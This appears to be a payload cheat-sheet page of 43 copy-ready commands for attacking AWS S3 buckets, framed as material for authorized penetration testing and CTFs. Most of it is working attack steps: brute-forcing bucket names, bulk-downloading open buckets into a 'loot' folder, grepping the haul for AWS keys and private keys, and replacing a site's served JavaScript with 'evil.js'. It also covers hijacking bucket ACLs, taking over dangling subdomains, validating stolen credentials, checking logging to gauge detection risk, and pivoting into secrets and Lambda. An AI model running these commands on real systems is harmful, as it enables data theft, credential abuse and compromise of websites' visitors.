AWS S3 bucket enumeration and misconfiguration testing: name discovery and brute force, anonymous/authenticated listing, ACL and bucket-policy checks, public object access, write/upload abuse, and subdomain takeover of dangling S3 endpoints. (43 payloads)
# Resolve a name to confirm it's an S3 bucket / endpoint
nslookup <bucket>.s3.amazonaws.com
dig +short <bucket>.s3.amazonaws.com
# NXDOMAIN = no such bucket; CNAME to s3-*.amazonaws.com = exists# Region disclosure via 301 + x-amz-bucket-region header
curl -sI https://<bucket>.s3.amazonaws.com/ | grep -i 'x-amz-bucket-region'
# 301 PermanentRedirect leaks the bucket's home region# Mine bucket names from page source, JS, and assets
curl -s https://target.com | grep -oE '[a-z0-9.-]+\.s3[.-][a-z0-9-]*\.amazonaws\.com'
curl -s https://target.com | grep -oE 's3://[a-z0-9.-]+'# Certificate Transparency can surface bucket-backed hostnames
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u | grep -i s3# Common naming patterns to feed a brute list
<company>
<company>-backup <company>-backups
<company>-prod <company>-dev <company>-staging
<company>-assets <company>-static <company>-media
<company>-logs <company>-data <company>-uploads
<company>-private <company>-public <company>-config
<company>-terraform <company>-tfstate <company>-cf-templates# GrayhatWarfare: search 300M+ already-indexed public objects
# https://buckets.grayhatwarfare.com/ (web UI + API)
curl -s "https://buckets.grayhatwarfare.com/api/v2/buckets/?keywords=<company>&access-token=<KEY>"# Google/Bing dorks for indexed bucket listings
site:s3.amazonaws.com <company>
site:s3.amazonaws.com inurl:<keyword>
site:amazonaws.com intitle:"index of" <company>
"<company>" site:s3-external-1.amazonaws.com# Anonymous listing — XML if ListBucket is public
curl -s https://<bucket>.s3.amazonaws.com/
# <ListBucketResult> with <Key> elements = readable & listable
# <Error><Code>AccessDenied</Code> = exists, listing denied
# <Code>NoSuchBucket</Code> = does not exist# AWS CLI without credentials
aws s3 ls s3://<bucket> --no-sign-request
aws s3 ls s3://<bucket> --no-sign-request --recursive --human-readable# Authenticated listing with your own creds
aws s3 ls s3://<bucket> --recursive
aws s3 ls s3://<bucket> --region <region>
# AllUsers vs AuthenticatedUsers: a bucket may deny anon but allow ANY AWS account# Paginate listing past the 1000-key cap via the REST API
curl -s "https://<bucket>.s3.amazonaws.com/?list-type=2&max-keys=1000"
curl -s "https://<bucket>.s3.amazonaws.com/?list-type=2&continuation-token=<TOKEN>"
curl -s "https://<bucket>.s3.amazonaws.com/?prefix=backups/&delimiter=/"# Enumerate object versions (often left readable even when current is restricted)
aws s3api list-object-versions --bucket <bucket> --no-sign-request
curl -s "https://<bucket>.s3.amazonaws.com/?versions"# rclone for fast recursive listing & sync of an open bucket
rclone lsf :s3:<bucket> --s3-provider AWS --s3-no-check-bucket --s3-env-auth=false
rclone copy :s3:<bucket> ./loot --transfers 16# s3scanner: check a list of names for existence + open perms
s3scanner -bucket-file names.txt -enumerate
s3scanner scan -bucket <bucket> # single bucket, reports ACL state# cloud_enum: AWS/Azure/GCP bucket+service brute from a keyword
cloud_enum -k <company> -k <product> --disable-azure --disable-gcp -l ce.log# ffuf: brute the bucket name in the Host-style URL, filter by status
ffuf -w names.txt -u https://FUZZ.s3.amazonaws.com/ -mc 200,403 -fc 404 -o ffuf-s3.json
# 200 = listable, 403 = exists (denied), 404 = no such bucket# Permute a wordlist with environments/affixes before brute
for n in $(cat base.txt); do for s in '' -prod -dev -staging -backup -assets -logs; do echo "$n$s"; echo "$n$s-$RANDOM" ; done; done | sort -u > names.txt# lazys3 / bucket_finder classic Ruby brute helpers
ruby lazys3.rb <company>
ruby bucket_finder.rb names.txt --download# Rate-limit awareness: distribute across regional endpoints
https://<name>.s3.amazonaws.com/
https://<name>.s3.us-west-2.amazonaws.com/
https://<name>.s3.eu-west-1.amazonaws.com/# Read the bucket ACL (grantees)
aws s3api get-bucket-acl --bucket <bucket> --no-sign-request
aws s3api get-bucket-acl --bucket <bucket> # authenticated
# Look for URI .../groups/global/AllUsers or .../AuthenticatedUsers# Read the object-level ACL for a specific key
aws s3api get-object-acl --bucket <bucket> --key path/to/file --no-sign-request# Dump the bucket policy JSON (if GetBucketPolicy is allowed)
aws s3api get-bucket-policy --bucket <bucket> --output text | jq .
# Hunt for Principal:"*", broad Action s3:*, and missing Condition blocks# Check Public Access Block — the master kill-switch
aws s3api get-public-access-block --bucket <bucket>
# All four flags true = bucket can't be made public regardless of ACL/policy# Probe each permission individually
aws s3api get-bucket-acl --bucket <b> --no-sign-request # READ_ACP
aws s3 ls s3://<b> --no-sign-request # READ (list)
aws s3 cp ./poc.txt s3://<b>/poc.txt --no-sign-request # WRITE
aws s3api put-bucket-acl --bucket <b> --acl public-read --no-sign-request # WRITE_ACP# Block-public-access bypass mindset: ACLs ignored != policy ignored
# IgnorePublicAcls only neutralizes ACLs; a public *bucket policy* still
# applies unless BlockPublicPolicy/RestrictPublicBuckets are also set.
aws s3api get-bucket-policy-status --bucket <bucket># Direct object fetch (no listing needed if you know the key)
curl -s https://<bucket>.s3.amazonaws.com/path/to/secret.env -o secret.env
aws s3 cp s3://<bucket>/backup.sql ./ --no-sign-request# Bulk-pull everything from an open bucket
aws s3 sync s3://<bucket> ./loot --no-sign-request
aws s3 cp s3://<bucket> ./loot --recursive --no-sign-request# High-value object keys to grep for after download
grep -rIl -E 'AKIA[0-9A-Z]{16}|aws_secret_access_key|BEGIN.*PRIVATE KEY|password|api[_-]?key' ./loot# Terraform state & CloudFormation = infra + secrets goldmine
aws s3 cp s3://<bucket>/terraform.tfstate ./ --no-sign-request
# tfstate stores resource attributes incl. plaintext secrets, RDS passwords# Snapshot recovery via object versions
aws s3api list-object-versions --bucket <bucket> --prefix config/ --no-sign-request
aws s3api get-object --bucket <bucket> --key config/.env --version-id <ID> out.env --no-sign-request# Inspect the S3 static-website endpoint separately
curl -s http://<bucket>.s3-website-<region>.amazonaws.com/
curl -sI http://<bucket>.s3-website.<region>.amazonaws.com/# Confirm anonymous write (high severity)
echo 'pentest-poc' > poc.txt
aws s3 cp poc.txt s3://<bucket>/poc-$(date +%s).txt --no-sign-request
curl -s https://<bucket>.s3.amazonaws.com/poc-*.txt # verify it stuck# Overwrite assets served by a site backed by the bucket
aws s3 cp evil.js s3://<bucket>/static/app.js --no-sign-request --content-type application/javascript
# If site loads app.js, this is stored XSS / supply-chain on every visitor# Hijack the ACL when WRITE_ACP is open
aws s3api put-bucket-acl --bucket <bucket> --grant-full-control id=<your-canonical-id> --no-sign-request
aws s3api put-object-acl --bucket <bucket> --key file --acl public-read --no-sign-request# Detect a dangling S3 CNAME (takeover precondition)
dig +short CNAME assets.target.com
# -> <bucket>.s3.amazonaws.com but bucket returns NoSuchBucket = claimable
curl -s https://assets.target.com | grep -i 'NoSuchBucket'# Claim the dangling bucket to complete takeover (authorized scope only)
aws s3api create-bucket --bucket <missing-bucket> --region <region> \
--create-bucket-configuration LocationConstraint=<region>
aws s3 website s3://<missing-bucket> --index-document index.html
aws s3 cp proof.html s3://<missing-bucket>/index.html --acl public-read# Automated takeover screening across many hosts
nuclei -l live-hosts.txt -t http/takeovers/aws-bucket-takeover.yaml
# plus the manual NoSuchBucket grep above for confirmation# Validate any AWS keys you looted
export AWS_ACCESS_KEY_ID=AKIA...; export AWS_SECRET_ACCESS_KEY=...
aws sts get-caller-identity # who am I + account ID
aws s3 ls # buckets this principal can see# Map S3-related permissions of the current principal
aws iam get-user 2>/dev/null
aws iam list-attached-user-policies --user-name <user>
aws iam simulate-principal-policy --policy-source-arn <arn> --action-names s3:PutBucketPolicy s3:GetObject s3:PutObject# Cross-account/owner discovery on an open bucket
aws s3api list-buckets --query 'Owner.ID' --output text
aws s3api get-bucket-acl --bucket <bucket> --query 'Owner'# Check logging/observability to assess detection risk
aws s3api get-bucket-logging --bucket <bucket>
aws cloudtrail describe-trails 2>/dev/null
aws s3api get-bucket-notification-configuration --bucket <bucket># Pivot: enumerate other services with valid creds
aws s3 ls # storage
aws ec2 describe-instances # compute
aws secretsmanager list-secrets # secrets
aws lambda list-functions # code + env vars# Bucket region/endpoint sanity for scoped, non-destructive testing
aws s3api get-bucket-location --bucket <bucket> --no-sign-request
aws s3api head-bucket --bucket <bucket> --no-sign-requestLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 43 S3 Bucket Enum payloads for testing S3 Bucket Enumeration vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Subdomain Takeover Checker to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all S3 Bucket Enum payloads are completely free, with no account required. Everything runs in your browser.